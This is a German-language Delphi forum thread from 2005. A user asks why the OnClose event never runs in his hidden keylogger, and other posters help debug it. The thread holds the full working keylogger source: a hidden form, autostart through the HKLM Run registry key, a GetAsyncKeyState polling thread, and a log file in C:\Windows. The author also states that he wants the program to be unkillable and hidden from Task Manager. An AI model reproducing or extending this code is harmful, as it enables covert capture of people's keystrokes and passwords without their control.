Entwickler-Ecke

Sonstiges (Delphi) - OnClose wird nicht abgefragt !!!


F34r0fTh3D4rk - Di 15.02.05 19:26
Titel: OnClose wird nicht abgefragt !!!
hallo!

ich habe einen keylogger ohne sichtbares Fenster und eine Textdatei in die geschrieben wird (file of byte)

nun möchte ich im onclose ereignis folgendes machen:


Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
  b: string;
  i, ch: byte;
begin
  b:= ' [Stopped Logging at ' + timetostr(now) +'] ';
  for i:= 1 to length(b) do
    begin
      ch:= ord(b[i]);
      write(f,ch);
    end;
  closefile(f);
end;

Der Code ist korrekt, aber das OnClose wird beim schließen des Programms nicht abgefragt, also finden diese aktionen nicht statt, ich denke mal das liegt daran, dass application.showmainform:= false ist und dass das onclose ereignis für das formular gilt, da dieses aber nicht geschlossen wird, weil es ja nicht existiert, passiert auch nichts.
OnCreate funktioniert, weil es über application.showmainform:= false steht, wie frage ich jetzt aber ab, wenn mein programm beendet wird ?


jasocul - Di 15.02.05 19:32

Funktioniert CloseQuery?


F34r0fTh3D4rk - Di 15.02.05 19:34

nein, wahrscheinlich liegts am formular


Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
program dklog;

uses
  Forms,
  UMain in 'UMain.pas' {Form1};

{$R *.res}

begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.ShowMainForm:= false;
  Application.Run;
end.


jasocul - Di 15.02.05 19:48

Dann würde ich OnDestroy nochmal probieren.
Close und CloseQuery reagieren offensichtlich nicht, wenn die Form nicht angezeigt wird. Aber Destroy sollte auf jeden Fall aufgerufen werden, da die Form ja existiert.


F34r0fTh3D4rk - Di 15.02.05 19:51

dann wird es nicht kompiliert, da kommt

Zitat:

[Fataler Fehler]Ausgabedatei 'C:\....\dklog.exe' kann nicht erstellt werden


CenBells - Di 15.02.05 19:59

F34r0fTh3D4rk hat folgendes geschrieben:
dann wird es nicht kompiliert, da kommt

Zitat:

[Fataler Fehler]Ausgabedatei 'C:\....\dklog.exe' kann nicht erstellt werden

Dann läuft das programm warscheinlich noch. :roll:

Gruß


jasocul - Di 15.02.05 20:00

Das habe ich (nach einigem Nachdenken) fast befürchtet. Das Destroy wird vermutlich erst aufgerufen, wenn alle anderen Dinge auf der Form schon "erledigt" sind.

Hast du die Möglichkeit, dass nach dem Application.Run durchzuführen? Sowas habe ich nämlich noch nie ausprobiert.
Wahrscheinlich musst du dafür ein bisschen umbauen.


F34r0fTh3D4rk - Di 15.02.05 20:16

ich habs so getestet:

Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
program Project2;

uses
  Forms, dialogs,
  Unit1 in 'Unit1.pas' {Form1};

{$R *.res}

begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
  Showmessage('Beendet?');
end.

die message kommt aber nicht!
ich dachte auch, dass der nächste befehl ausgeführt wird, wenn die schleife beendet ist, aber dem ist wohl nicht so :roll:

@Cen Bells: du hattest recht, aber es passiert trotzdem nichts !


jasocul - Di 15.02.05 20:20

Ein ShowMessage kann schon problematisch sein, nach dem Run. Versuch einfach mal ein Datei zu erstellen. Muss ja nix drin stehen. Aber visuelle Dinge nach dem Run??


F34r0fTh3D4rk - Di 15.02.05 20:22

welche uses brauche ich dafür, gib mal n beispiel, memo1.savetofile macht vielleicht auch nicht viel sinn, ich probiers mal mit assignfile und rewrite


F34r0fTh3D4rk - Di 15.02.05 20:26

getestet mit:

Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
program dklog;

uses
  Forms,
  UMain in 'UMain.pas' {Form1};

{$R *.res}
var
g: textfile;

begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.ShowMainForm:= false;
  Application.Run;
  assignfile(g, 'C:\test.txt');
  rewrite(g);
  writeln(g, 'test');
end.

geht aber auch net, mit showmessage hätte es aber auch klappen müssen :?
was ist mit form1.hide ?
läuft glaube ich auf das selbe hinaus


Sprint - Di 15.02.05 20:37

Der Fehler liegt nicht im OnClose. Sondern das Programm wird nicht sauber beendet. Hier stellt sich mir die Frage, wie du dein Programm beendest und wie ein Benutzer dein Programm beenden kann.


F34r0fTh3D4rk - Di 15.02.05 20:39

der benutzer beendet es durch restart und ich durch programm zurücksetzen in delphi


Sprint - Di 15.02.05 20:40

Es geht mir nicht um eine Erklärung, sondern welche Befehle du benutzt.


F34r0fTh3D4rk - Di 15.02.05 20:40

gar keine ?


Sprint - Di 15.02.05 20:45

F34r0fTh3D4rk hat folgendes geschrieben:
gar keine ?

Also kann dein Programm nur durch den TaskManager beendet werden? Oder wie soll ich das jetzt verstehen?


F34r0fTh3D4rk - Di 15.02.05 20:47

es soll ja nicht beendet werden können, es ist ein teil meiner überwachungssoftware und kann nur durch restart (danach aber autom. autostart) oder vom hauptprog beendet werden (wenns fertig ist)


Sprint - Di 15.02.05 21:01

Da dein Programm erst beim Beenden von Windows geschlossen wird, musst du OnCloseQuery nehmen. OnClose wird nicht aufgerufen. So wie ich schon gesagt habe, es liegt nicht an OnClose sondern wie dein Programm beendet wird.


F34r0fTh3D4rk - Di 15.02.05 21:02

da funktioniert es aber auch nicht !


Sprint - Di 15.02.05 21:03

F34r0fTh3D4rk hat folgendes geschrieben:
da funktioniert es aber auch nicht !

Warum sollte das bei mir funktionieren und bei dir nicht?


F34r0fTh3D4rk - Di 15.02.05 21:07

weil du ein formular angezeigt hast?

mach mal application.showmainform:= false;

hier mal mein gesamter code:

Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
unit UMain;

interface

uses
  Windows, SysUtils, Forms, Registry;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  private

  public

  end;

var
  Form1: TForm1;
  f: file of byte;

implementation

{$R *.dfm}
procedure RegisterAutorun;
var
  Reg: TRegistry;
begin
   Reg := TRegistry.create;
  try
   Reg.RootKey := HKEY_LOCAL_MACHINE;
   Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
   Reg.WriteString('keylog', paramstr(0));
  finally
    Reg.Free;
  end;
end;

procedure keylogger;
var
  i: byte;
begin
  while true do
    begin
      for i := 48 to 90 do
        if boolean(getasynckeystate(i)) then
          write(f,i);
          sleep(10);
    end;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  tid: cardinal;
  tf, b: string;
  i, ch: byte;
begin
  RegisterAutorun;
  tf:= 'C:\Windows\' + datetostr(now) + '.log';
  assignfile(f, tf);
  if fileexists(tf) then
    begin
      reset(f);
      seek(f, filesize(f));
    end else
      rewrite(f);
  b:= ' [Started Logging at ' + timetostr(now) +'] ';
  for i:= 1 to length(b) do
    begin
      ch:= ord(b[i]);
      write(f,ch);
    end;
  createthread(nil,0,@keylogger,nil,0,tid);
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
var
  b: string;
  i, ch: byte;
begin
  b:= ' [Stopped Logging at ' + timetostr(now) +'] ';
  for i:= 1 to length(b) do
    begin
      ch:= ord(b[i]);
      write(f,ch);
    end;
  closefile(f);
end;


end.

ich starte das prog und beende es nd die txt sieht so aus:

Quelltext
1:
[Started Logging at 'UHRZEIT']                    

danach folgt nicht, wie erwartet:

Quelltext
1:
[Stopped Logging at 'UHRZEIT']                    

:(


Sprint - Di 15.02.05 21:20

F34r0fTh3D4rk hat folgendes geschrieben:
weil du ein formular angezeigt hast?
mach mal application.showmainform:= false;

Habe ShowMainForm := False unter Windows 95 & Windows NT 4 mit Delphi 3 getestet. OnCloseQuery wird aufgerufen und OnClose nicht. Leider kann ich meine Workstation jetzt nicht runterfahre, sonst hätte ich es auch noch unter Windows XP mit Delphi 5 getestet.

Hat das einen Grund, das du Uraltfunktion wie AssignFile benutzt? Und warum benutzt du nicht die Klasse TThread?


F34r0fTh3D4rk - Di 15.02.05 21:21

das muss doch auch testbar sein, wenn man das mit programm zurücksetzen testet oder ?


Sprint - Di 15.02.05 21:24

Kannst das "Windows beenden" ja simulieren, in dem du eine WM_QUERYENDSESSION sendest.


F34r0fTh3D4rk - Di 15.02.05 21:27

nach dem rebooten geht es, aber mit welcher msg beendet delphi denn das programm, oder wird das einfach gekillt, wie beim taskmanager ? (eigentlich soll das programm ja unbeendlich sein, halt nur vom hautprogramm :?)

ok mitm reboot funzt es :) nur darf mein prog dann nicht anders beendet werden :(

man müsste eine eigene message definieren, die man halt an das programm schickt und nur dann wird es beendet und im taskmanager darf es denn ja garnet angezeigt werden und aus der registry rausnehmen kann mans ja auch noch ...

freeware alternativen zu teurer software zu schreiben ist mühsehlig :hair:

Moderiert von user profile iconChristian S.: Beiträge zusammengefasst


Delete - Di 15.02.05 21:31

F34r0fTh3D4rk hat folgendes geschrieben:
ok mitm reboot funzt es :) nur darf mein prog dann nicht anders beendet werden :(

Warum denn das? auf meinem Rechner bestimme immer noch ich, was läuft, was nicht läuft und wann (Betriebssystem mal ausgenommen.). Und da hat mit kein Programmierer was vorzuschreiben.


Sprint - Di 15.02.05 21:50

F34r0fTh3D4rk hat folgendes geschrieben:
nach dem rebooten geht es, aber mit welcher msg beendet delphi denn das programm, oder wird das einfach gekillt, wie beim taskmanager ? (eigentlich soll das programm ja unbeendlich sein, halt nur vom hautprogramm

Hab ich doch schon geschrieben. Ließt du hier eigentlich?


F34r0fTh3D4rk - Mi 16.02.05 18:22

Zitat:

Warum denn das? auf meinem Rechner bestimme immer noch ich, was läuft, was nicht läuft und wann (Betriebssystem mal ausgenommen.). Und da hat mit kein Programmierer was vorzuschreiben.

Dem User gehört in diesem Falle nicht der PC, er soll überwacht werden!
Am Anfang kommt so ein Popup, dieser PC wird überwacht ...


delfiphan - Mi 16.02.05 18:44
Titel: beenden?
Wie beendest du das Programm? Mit "halt;" geht es natürlich nicht! Versuch mal "close;". Wenn das Programm nicht sauber geschlossen werden kann, wird OnClose natürlich nicht aufgerufen. -- Edit: Sorry, hatte nicht alle Seiten nachgelesen. Du beendest das Programm gar nicht selbst.